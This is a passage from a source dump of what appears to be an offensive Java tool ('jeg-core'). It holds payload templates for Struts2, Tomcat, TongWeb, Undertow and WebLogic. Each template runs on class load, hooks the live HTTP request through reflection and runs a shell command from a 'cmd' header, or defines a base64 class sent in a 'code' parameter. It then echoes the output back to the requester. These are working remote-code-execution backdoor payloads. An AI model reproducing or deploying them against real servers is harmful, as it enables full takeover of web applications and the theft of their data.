Struts2CodeExecTpl { 8 | 9 | static { 10 | try { 11 | new Struts2CodeExecTpl(); 12 | } catch (Exception e) { 13 | } 14 | } 15 | 16 | private String getReqParamName() { 17 | return "code"; 18 | } 19 | 20 | 21 | public Struts2CodeExecTpl() throws Exception{ 22 | run(); 23 | } 24 | 25 | 26 | public void run() { 27 | try { 28 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 29 | Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, loader); 30 | java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext"); 31 | filed.setAccessible(true); 32 | ThreadLocal actionContext = (ThreadLocal) filed.get(null); 33 | Object con = actionContext.get(); 34 | Object context = invokeMethod(con, "getContext"); 35 | Object request = invokeMethod(context, "get", new Class[]{String.class}, new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletRequest"}); 36 | Object response = invokeMethod(context, "get", new Class[]{String.class}, new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletResponse"}); 37 | String code = (String) invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()}); 38 | if (code != null && !code.isEmpty()) { 39 | Writer writer = (Writer) invokeMethod(response, "getWriter"); 40 | writer.write(exec(code)); 41 | writer.flush(); 42 | writer.close(); 43 | } 44 | } catch (Exception ignored) { 45 | 46 | } 47 | 48 | 49 | } 50 | 51 | 52 | private String exec(String var2) { 53 | try { 54 | byte[] clazzByte = base64Decode(var2); 55 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 56 | defineClass.setAccessible(true); 57 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 58 | return clazz.newInstance().toString(); 59 | } catch (Exception e) { 60 | return e.getMessage(); 61 | } 62 | } 63 | 64 | private byte[] base64Decode(String str) throws Exception { 65 | try { 66 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 67 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 68 | } catch (Exception var4) { 69 | Class clazz = Class.forName("java.util.Base64"); 70 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 71 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 72 | } 73 | } 74 | 75 | private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 76 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 77 | } 78 | 79 | private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 80 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 81 | Method method = null; 82 | 83 | Class tempClass = clazz; 84 | while (method == null && tempClass != null) { 85 | try { 86 | if (paramClazz == null) { 87 | // Get all declared methods of the class 88 | Method[] methods = tempClass.getDeclaredMethods(); 89 | for (int i = 0; i < methods.length; i++) { 90 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 91 | method = methods[i]; 92 | break; 93 | } 94 | } 95 | } else { 96 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 97 | } 98 | } catch (NoSuchMethodException e) { 99 | tempClass = tempClass.getSuperclass(); 100 | } 101 | } 102 | if (method == null) { 103 | throw new NoSuchMethodException(methodName); 104 | } 105 | method.setAccessible(true); 106 | if (obj instanceof Class) { 107 | try { 108 | return method.invoke(null, param); 109 | } catch (IllegalAccessException e) { 110 | throw new RuntimeException(e.getMessage()); 111 | } 112 | } else { 113 | try { 114 | return method.invoke(obj, param); 115 | } catch (IllegalAccessException e) { 116 | throw new RuntimeException(e.getMessage()); 117 | } 118 | } 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.tomcat; 2 | 3 | import java.io.InputStream; 4 | import java.io.Writer; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.Method; 7 | import java.util.ArrayList; 8 | import java.util.Scanner; 9 | 10 | public class TomcatCmdExecTpl { 11 | 12 | static { 13 | try { 14 | new TomcatCmdExecTpl(); 15 | } catch (Exception e) { 16 | } 17 | } 18 | public TomcatCmdExecTpl() throws Exception{ 19 | run(); 20 | } 21 | 22 | // 传参:需要执行的命令 23 | private String getReqHeaderName() { 24 | return "cmd"; 25 | } 26 | 27 | 28 | private void run() { 29 | try { 30 | Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[]) (new Class[0])); 31 | var0.setAccessible(true); 32 | Thread[] var1 = (Thread[]) ((Thread[]) var0.invoke((Object) null)); 33 | for (int var2 = 0; var2 < var1.length; ++var2) { 34 | if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) { 35 | Field var3 = var1[var2].getClass().getDeclaredField("target"); 36 | var3.setAccessible(true); 37 | Object var4 = var3.get(var1[var2]); 38 | 39 | try { 40 | var3 = var4.getClass().getDeclaredField("endpoint"); 41 | } catch (NoSuchFieldException var15) { 42 | var3 = var4.getClass().getDeclaredField("this$0"); 43 | } 44 | 45 | var3.setAccessible(true); 46 | var4 = var3.get(var4); 47 | 48 | try { 49 | var3 = var4.getClass().getDeclaredField("handler"); 50 | } catch (NoSuchFieldException var14) { 51 | try { 52 | var3 = var4.getClass().getSuperclass().getDeclaredField("handler"); 53 | } catch (NoSuchFieldException var13) { 54 | var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); 55 | } 56 | } 57 | 58 | var3.setAccessible(true); 59 | var4 = var3.get(var4); 60 | 61 | try { 62 | var3 = var4.getClass().getDeclaredField("global"); 63 | } catch (NoSuchFieldException var12) { 64 | var3 = var4.getClass().getSuperclass().getDeclaredField("global"); 65 | } 66 | 67 | var3.setAccessible(true); 68 | var4 = var3.get(var4); 69 | var4.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo"); 70 | if (var4.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) { 71 | var3 = var4.getClass().getDeclaredField("processors"); 72 | var3.setAccessible(true); 73 | ArrayList var5 = (ArrayList) var3.get(var4); 74 | 75 | for (int var6 = 0; var6 < var5.size(); ++var6) { 76 | var3 = var5.get(var6).getClass().getDeclaredField("req"); 77 | var3.setAccessible(true); 78 | var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1); 79 | String var7; 80 | try { 81 | var7 = (String) var3.get(var5.get(var6)).getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var3.get(var5.get(var6)), new Object[]{getReqHeaderName()}); 82 | if (var7 != null) { 83 | Object response = var4.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var4, new Object[0]); 84 | Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); 85 | writer.write(exec(var7)); 86 | writer.flush(); 87 | writer.close(); 88 | break; 89 | } 90 | } catch (Exception ignored) { 91 | } 92 | 93 | } 94 | } 95 | } 96 | } 97 | } catch (Throwable ignored) { 98 | } 99 | 100 | } 101 | 102 | // 执行模块 103 | private String exec(String cmd) { 104 | try { 105 | boolean isLinux = true; 106 | String osType = System.getProperty("os.name"); 107 | if (osType != null && osType.toLowerCase().contains("win")) { 108 | isLinux = false; 109 | } 110 | 111 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 112 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 113 | Scanner s = new Scanner(in).useDelimiter("\\a"); 114 | String execRes = ""; 115 | while (s.hasNext()) { 116 | execRes += s.next(); 117 | } 118 | return execRes; 119 | } catch (Exception e) { 120 | return e.getMessage(); 121 | } 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.tomcat; 2 | 3 | import java.io.Writer; 4 | import java.lang.reflect.Field; 5 | import java.lang.reflect.Method; 6 | import java.util.ArrayList; 7 | 8 | 9 | public class TomcatCodeExecTpl { 10 | 11 | static { 12 | new TomcatCodeExecTpl(); 13 | } 14 | 15 | public TomcatCodeExecTpl(){ 16 | run(); 17 | } 18 | 19 | private String getReqParamName() { 20 | return "code"; 21 | } 22 | 23 | private void run() { 24 | try { 25 | Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[]) (new Class[0])); 26 | var0.setAccessible(true); 27 | Thread[] var1 = (Thread[]) ((Thread[]) var0.invoke((Object) null)); 28 | for (int var2 = 0; var2 < var1.length; ++var2) { 29 | if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) { 30 | Field var3 = var1[var2].getClass().getDeclaredField("target"); 31 | var3.setAccessible(true); 32 | Object var4 = var3.get(var1[var2]); 33 | 34 | try { 35 | var3 = var4.getClass().getDeclaredField("endpoint"); 36 | } catch (NoSuchFieldException var15) { 37 | var3 = var4.getClass().getDeclaredField("this$0"); 38 | } 39 | 40 | var3.setAccessible(true); 41 | var4 = var3.get(var4); 42 | 43 | try { 44 | var3 = var4.getClass().getDeclaredField("handler"); 45 | } catch (NoSuchFieldException var14) { 46 | try { 47 | var3 = var4.getClass().getSuperclass().getDeclaredField("handler"); 48 | } catch (NoSuchFieldException var13) { 49 | var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); 50 | } 51 | } 52 | var3.setAccessible(true); 53 | var4 = var3.get(var4); 54 | try { 55 | var3 = var4.getClass().getDeclaredField("global"); 56 | } catch (NoSuchFieldException var12) { 57 | var3 = var4.getClass().getSuperclass().getDeclaredField("global"); 58 | } 59 | var3.setAccessible(true); 60 | var4 = var3.get(var4); 61 | var4.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo"); 62 | if (var4.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) { 63 | var3 = var4.getClass().getDeclaredField("processors"); 64 | var3.setAccessible(true); 65 | ArrayList var5 = (ArrayList) var3.get(var4); 66 | for (int var6 = 0; var6 < var5.size(); ++var6) { 67 | var3 = var5.get(var6).getClass().getDeclaredField("req"); 68 | var3.setAccessible(true); 69 | var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1); 70 | String var8; 71 | try { 72 | // 从 request body 获取参数 73 | var8 = (String) var4.getClass().getDeclaredMethod("getParameter", String.class).invoke(var4, getReqParamName()); 74 | if (var8 != null) { 75 | String var10 = exec(var8); 76 | Object response = var4.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var4); 77 | Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); 78 | writer.write(var10); 79 | writer.flush(); 80 | writer.close(); 81 | break; 82 | } 83 | } catch (Exception ignored) { 84 | } 85 | } 86 | } 87 | } 88 | } 89 | } catch (Throwable var16) { 90 | } 91 | 92 | } 93 | 94 | private String exec(String var2) { 95 | try { 96 | byte[] clazzByte = base64Decode(var2); 97 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 98 | defineClass.setAccessible(true); 99 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 100 | return clazz.newInstance().toString(); 101 | } catch (Exception e) { 102 | return e.getMessage(); 103 | } 104 | } 105 | 106 | private byte[] base64Decode(String str) throws Exception { 107 | try { 108 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 109 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 110 | } catch (Exception var4) { 111 | Class clazz = Class.forName("java.util.Base64"); 112 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 113 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 114 | } 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.tongweb; 2 | 3 | import java.io.InputStream; 4 | import java.io.Writer; 5 | import java.lang.reflect.Array; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | import java.util.Scanner; 11 | import java.util.Set; 12 | 13 | public class TongWebCmdExecTpl { 14 | static { 15 | try { 16 | new TongWebCmdExecTpl(); 17 | } catch (Exception e) { 18 | } 19 | } 20 | 21 | private static String getReqHeaderName() { 22 | return "cmd"; 23 | } 24 | 25 | public TongWebCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { 26 | run(); 27 | } 28 | 29 | 30 | public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 31 | Set threadSet = Thread.getAllStackTraces().keySet(); 32 | List taskThreadList = new ArrayList(); 33 | for (Thread thread : threadSet) { 34 | if (thread.getClass().getName().contains("tongweb.web.util.threads.TaskThread")) { 35 | // 将目标对象添加到列表中 36 | taskThreadList.add(thread); 37 | } 38 | } 39 | 40 | List tables = new ArrayList(); 41 | for (Thread thread : taskThreadList) { 42 | try { 43 | Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); 44 | threadLocalsField.setAccessible(true); 45 | Object localMap = threadLocalsField.get(thread); 46 | Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); 47 | Field tableField = threadLocalMapClass.getDeclaredField("table"); 48 | tableField.setAccessible(true); 49 | Object table = tableField.get(localMap); 50 | tables.add(table); 51 | } catch (Exception e) { 52 | continue; 53 | } 54 | } 55 | 56 | List values = new ArrayList(); 57 | for (Object table : tables) { 58 | // 遍历 table 中的项 59 | try { 60 | if (table != null && table.getClass().isArray()) { 61 | int length = Array.getLength(table); 62 | for (int i = 0; i < length; i++) { 63 | Object entry = Array.get(table, i); 64 | if (entry != null) { 65 | // 获取 entry 的 value 字段 66 | try { 67 | Field valueField = entry.getClass().getDeclaredField("value"); 68 | valueField.setAccessible(true); 69 | Object value = valueField.get(entry); 70 | values.add(value); 71 | } catch (Exception e) { 72 | } 73 | } 74 | } 75 | } 76 | } catch (Exception e) { 77 | } 78 | 79 | } 80 | 81 | for (Object value : values) { 82 | if (value != null && value.getClass().getName().equals("com.tongweb.catalina.connector.ThorRequest")) { 83 | try { 84 | // 从 request header 获取参数 85 | String cmd = (String) value.getClass().getSuperclass().getDeclaredMethod("getHeader", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()}); 86 | if (cmd != null) { 87 | Object response = value.getClass().getSuperclass().getDeclaredMethod("getResponse", new Class[0]).invoke(value, new Object[0]); 88 | Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); 89 | writer.write(executeCommand(cmd)); 90 | writer.flush(); 91 | writer.close(); 92 | break; 93 | } 94 | } catch (Exception ignored) { 95 | } 96 | } 97 | } 98 | } 99 | 100 | // 执行模块 101 | public static String executeCommand(String cmd) { 102 | try { 103 | boolean isLinux = true; 104 | String osType = System.getProperty("os.name"); 105 | if (osType != null && osType.toLowerCase().contains("win")) { 106 | isLinux = false; 107 | } 108 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 109 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 110 | Scanner s = new Scanner(in).useDelimiter("\\a"); 111 | String execRes = ""; 112 | while (s.hasNext()) { 113 | execRes += s.next(); 114 | } 115 | if (execRes.isEmpty()) { 116 | return String.format("The code executes successfully, but command:%s fails. The command may not exist!\n", cmd); 117 | } 118 | return execRes; 119 | } catch (Exception e) { 120 | return String.format("The code executes successfully, but command:%s fails. The command may not exist!\n Error info: %s", cmd, e.getMessage()); 121 | } 122 | } 123 | 124 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.tongweb; 2 | 3 | import jeg.core.template.inforsuite.InforSuiteCodeExecTpl; 4 | 5 | import java.io.Writer; 6 | import java.lang.reflect.Array; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.InvocationTargetException; 9 | import java.lang.reflect.Method; 10 | import java.util.ArrayList; 11 | import java.util.List; 12 | import java.util.Set; 13 | 14 | public class TongWebCodeExecTpl { 15 | static { 16 | try { 17 | new TongWebCodeExecTpl(); 18 | } catch (Exception e) { 19 | } 20 | } 21 | private static String getReqParamName() { 22 | return "code"; 23 | } 24 | 25 | public TongWebCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { 26 | run(); 27 | } 28 | 29 | public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 30 | Set threadSet = Thread.getAllStackTraces().keySet(); 31 | List taskThreadList = new ArrayList(); 32 | for (Thread thread : threadSet) { 33 | if (thread.getClass().getName().contains("tongweb.web.util.threads.TaskThread")) { 34 | // 将目标对象添加到列表中 35 | taskThreadList.add(thread); 36 | } 37 | } 38 | 39 | List tables = new ArrayList(); 40 | for (Thread thread : taskThreadList) { 41 | try { 42 | Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); 43 | threadLocalsField.setAccessible(true); 44 | Object localMap = threadLocalsField.get(thread); 45 | Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); 46 | Field tableField = threadLocalMapClass.getDeclaredField("table"); 47 | tableField.setAccessible(true); 48 | Object table = tableField.get(localMap); 49 | tables.add(table); 50 | } catch (Exception e) { 51 | continue; 52 | } 53 | } 54 | 55 | List values = new ArrayList(); 56 | for (Object table : tables) { 57 | // 遍历 table 中的项 58 | try { 59 | if (table != null && table.getClass().isArray()) { 60 | int length = Array.getLength(table); 61 | for (int i = 0; i < length; i++) { 62 | Object entry = Array.get(table, i); 63 | if (entry != null) { 64 | // 获取 entry 的 value 字段 65 | try { 66 | Field valueField = entry.getClass().getDeclaredField("value"); 67 | valueField.setAccessible(true); 68 | Object value = valueField.get(entry); 69 | values.add(value); 70 | } catch (Exception e) { 71 | } 72 | } 73 | } 74 | } 75 | } catch (Exception e) { 76 | } 77 | 78 | } 79 | 80 | for (Object value : values) { 81 | if (value != null && value.getClass().getName().equals("com.tongweb.catalina.connector.ThorRequest")) { 82 | try { 83 | // 从 request body 获取参数 84 | String code = (String) value.getClass().getSuperclass().getDeclaredMethod("getParameter", String.class).invoke(value, getReqParamName()); 85 | if (code != null) { 86 | Object response = value.getClass().getSuperclass().getDeclaredMethod("getResponse", new Class[0]).invoke(value, new Object[0]); 87 | Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); 88 | writer.write(defineClazz(code)); 89 | writer.flush(); 90 | writer.close(); 91 | break; 92 | } 93 | } catch (Exception ignored) { 94 | } 95 | } 96 | } 97 | } 98 | 99 | private static String defineClazz(String var2) { 100 | try { 101 | byte[] clazzByte = base64Decode(var2); 102 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 103 | defineClass.setAccessible(true); 104 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 105 | return clazz.newInstance().toString(); 106 | } catch (Exception e) { 107 | return e.getMessage(); 108 | } 109 | } 110 | 111 | private static byte[] base64Decode(String str) throws Exception { 112 | try { 113 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 114 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 115 | } catch (Exception var4) { 116 | Class clazz = Class.forName("java.util.Base64"); 117 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 118 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 119 | } 120 | } 121 | } -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/undertow/UndertowCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.undertow; 2 | 3 | import java.io.InputStream; 4 | import java.io.PrintWriter; 5 | import java.lang.reflect.Array; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.util.Scanner; 10 | 11 | public class UndertowCmdExecTpl { 12 | static { 13 | new UndertowCmdExecTpl(); 14 | } 15 | 16 | private String getReqHeaderName() { 17 | return "cmd"; 18 | } 19 | 20 | 21 | public UndertowCmdExecTpl(){ 22 | run(); 23 | } 24 | 25 | private void run(){ 26 | try { 27 | Thread thread = Thread.currentThread(); 28 | Object threadLocals = getFV(thread,"threadLocals"); 29 | Object table = getFV(threadLocals,"table"); 30 | 31 | for (int i = 0; i < Array.getLength(table); i++) { 32 | Object entry = Array.get(table, i); 33 | if (entry == null) continue; 34 | Object value = getFV(entry,"value"); 35 | if (value != null && value.getClass().getName().contains("ServletRequestContext")) { 36 | Object request = getFV(value,"servletRequest"); 37 | String cmd = (String) invokeMethod(request,"getHeader",new Class[]{String.class},new Object[]{getReqHeaderName()}); 38 | Object response = getFV(value,"servletResponse"); 39 | PrintWriter writer = (PrintWriter) invokeMethod(response,"getWriter",new Class[0],new Object[0]); 40 | writer.write(exec(cmd)); 41 | writer.flush(); 42 | writer.close(); 43 | } 44 | } 45 | }catch (Exception e){ } 46 | } 47 | 48 | private String exec(String cmd) { 49 | try { 50 | boolean isLinux = true; 51 | String osType = System.getProperty("os.name"); 52 | if (osType != null && osType.toLowerCase().contains("win")) { 53 | isLinux = false; 54 | } 55 | 56 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 57 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 58 | Scanner s = new Scanner(in).useDelimiter("\\a"); 59 | String execRes = ""; 60 | while (s.hasNext()) { 61 | execRes += s.next(); 62 | } 63 | return execRes; 64 | } catch (Exception e) { 65 | return e.getMessage(); 66 | } 67 | } 68 | 69 | private synchronized Object getFV(final Object o, final String s) throws Exception { 70 | Field declaredField = null; 71 | Class clazz = o.getClass(); 72 | while (clazz != Object.class) { 73 | try { 74 | declaredField = clazz.getDeclaredField(s); 75 | break; 76 | } 77 | catch (NoSuchFieldException ex) { 78 | clazz = clazz.getSuperclass(); 79 | } 80 | } 81 | if (declaredField == null) { 82 | throw new NoSuchFieldException(s); 83 | } 84 | declaredField.setAccessible(true); 85 | return declaredField.get(o); 86 | } 87 | 88 | 89 | private synchronized Object invokeMethod(final Object obj,final String methodName,Class[] paramClazz,Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 90 | Method method = null; 91 | Class clazz = obj.getClass(); 92 | while (clazz != Object.class){ 93 | try { 94 | method = clazz.getDeclaredMethod(methodName,paramClazz); 95 | break; 96 | } catch (NoSuchMethodException e) { 97 | clazz = clazz.getSuperclass(); 98 | } 99 | } 100 | 101 | if (method == null) { 102 | throw new NoSuchMethodException(methodName); 103 | } 104 | method.setAccessible(true); 105 | return method.invoke(obj,param); 106 | } 107 | 108 | } 109 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/undertow/UndertowCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.undertow; 2 | 3 | import java.io.PrintWriter; 4 | import java.lang.reflect.Array; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | public class UndertowCodeExecTpl { 10 | static { 11 | new UndertowCodeExecTpl(); 12 | } 13 | 14 | 15 | private static String getReqParamName() { 16 | return "code"; 17 | } 18 | 19 | public UndertowCodeExecTpl() { 20 | run(); 21 | } 22 | 23 | private void run() { 24 | try { 25 | Thread thread = Thread.currentThread(); 26 | Object threadLocals = getFV(thread, "threadLocals"); 27 | Object table = getFV(threadLocals, "table"); 28 | 29 | for (int i = 0; i < Array.getLength(table); i++) { 30 | Object entry = Array.get(table, i); 31 | if (entry == null) continue; 32 | Object value = getFV(entry, "value"); 33 | if (value != null && value.getClass().getName().contains("ServletRequestContext")) { 34 | Object request = getFV(value, "servletRequest"); 35 | String code = (String) invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()}); 36 | if (code != null && code != "") { 37 | Object response = getFV(value, "servletResponse"); 38 | PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); 39 | writer.write(exec(code)); 40 | writer.flush(); 41 | writer.close(); 42 | } 43 | } 44 | } 45 | } catch (Exception e) { 46 | } 47 | } 48 | 49 | private synchronized Object getFV(final Object o, final String s) throws Exception { 50 | Field declaredField = null; 51 | Class clazz = o.getClass(); 52 | while (clazz != Object.class) { 53 | try { 54 | declaredField = clazz.getDeclaredField(s); 55 | break; 56 | } catch (NoSuchFieldException ex) { 57 | clazz = clazz.getSuperclass(); 58 | } 59 | } 60 | if (declaredField == null) { 61 | throw new NoSuchFieldException(s); 62 | } 63 | declaredField.setAccessible(true); 64 | return declaredField.get(o); 65 | } 66 | 67 | private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 68 | Method method = null; 69 | Class clazz = obj.getClass(); 70 | while (clazz != Object.class) { 71 | try { 72 | method = clazz.getDeclaredMethod(methodName, paramClazz); 73 | break; 74 | } catch (NoSuchMethodException e) { 75 | clazz = clazz.getSuperclass(); 76 | } 77 | } 78 | 79 | if (method == null) { 80 | throw new NoSuchMethodException(methodName); 81 | } 82 | method.setAccessible(true); 83 | return method.invoke(obj, param); 84 | } 85 | 86 | 87 | private String exec(String var2) { 88 | try { 89 | byte[] clazzByte = base64Decode(var2); 90 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 91 | defineClass.setAccessible(true); 92 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 93 | return clazz.newInstance().toString(); 94 | } catch (Exception e) { 95 | return e.getMessage(); 96 | } 97 | } 98 | 99 | private byte[] base64Decode(String str) throws Exception { 100 | try { 101 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 102 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 103 | } catch (Exception var4) { 104 | Class clazz = Class.forName("java.util.Base64"); 105 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 106 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 107 | } 108 | } 109 | 110 | } 111 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.weblogic; 2 | 3 | import jeg.core.template.undertow.UndertowCmdExecTpl; 4 | 5 | import java.io.InputStream; 6 | import java.io.PrintWriter; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.InvocationTargetException; 9 | import java.lang.reflect.Method; 10 | import java.util.Scanner; 11 | 12 | /** 13 | * test in weblogic 10.3.6.0/12.1.3.0/12.2.1.3.0 14 | */ 15 | public class WebLogicCmdExecTpl { 16 | static { 17 | new WebLogicCmdExecTpl(); 18 | } 19 | // 传参:需要执行的命令 20 | private String getReqHeaderName() { 21 | return "cmd"; 22 | } 23 | 24 | 25 | public WebLogicCmdExecTpl() { 26 | run(); 27 | } 28 | 29 | private void run(){ 30 | String command = null; 31 | Thread thread = Thread.currentThread(); 32 | Object target = null; 33 | PrintWriter writer = null; 34 | try { 35 | target = invokeMethod(thread, "getCurrentWork", new Class[0], new Object[0]); 36 | command = (String) invokeMethod(target, "getHeader", new Class[]{String.class}, new Object[]{getReqHeaderName()}); 37 | Object response = invokeMethod(target, "getResponse", new Class[0], new Object[0]); 38 | writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); 39 | } catch (Exception e) { 40 | try { 41 | Object connectionHandler = getFV(target, "connectionHandler"); 42 | Object request = invokeMethod(connectionHandler, "getServletRequest", new Class[0], new Object[0]); 43 | if (command == null) { 44 | command = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{getReqHeaderName()}); 45 | } 46 | Object response = invokeMethod(connectionHandler, "getServletResponse", new Class[0], new Object[0]); 47 | writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); 48 | } catch (Exception ignored) { 49 | } 50 | } 51 | // 执行命令 52 | String execRes = exec(command); 53 | // 回显执行结果 54 | writer.write(execRes); 55 | writer.flush(); 56 | writer.close(); 57 | } 58 | 59 | // 执行模块 60 | public String exec(String cmd){ 61 | try { 62 | boolean isLinux = true; 63 | String osType = System.getProperty("os.name"); 64 | if (osType != null && osType.toLowerCase().contains("win")) { 65 | isLinux = false; 66 | } 67 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 68 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 69 | Scanner s = new Scanner(in).useDelimiter("\\a"); 70 | String execRes = ""; 71 | while (s.hasNext()) { 72 | execRes += s.next(); 73 | } 74 | return execRes; 75 | }catch (Exception e){ 76 | return e.getMessage(); 77 | } 78 | } 79 | 80 | private synchronized Object getFV(final Object o, final String s) throws Exception { 81 | Field declaredField = null; 82 | Class clazz = o.getClass(); 83 | while (clazz != Object.class) { 84 | try { 85 | declaredField = clazz.getDeclaredField(s); 86 | break; 87 | } catch (NoSuchFieldException ex) { 88 | clazz = clazz.getSuperclass(); 89 | } 90 | } 91 | if (declaredField == null) { 92 | throw new NoSuchFieldException(s); 93 | } 94 | 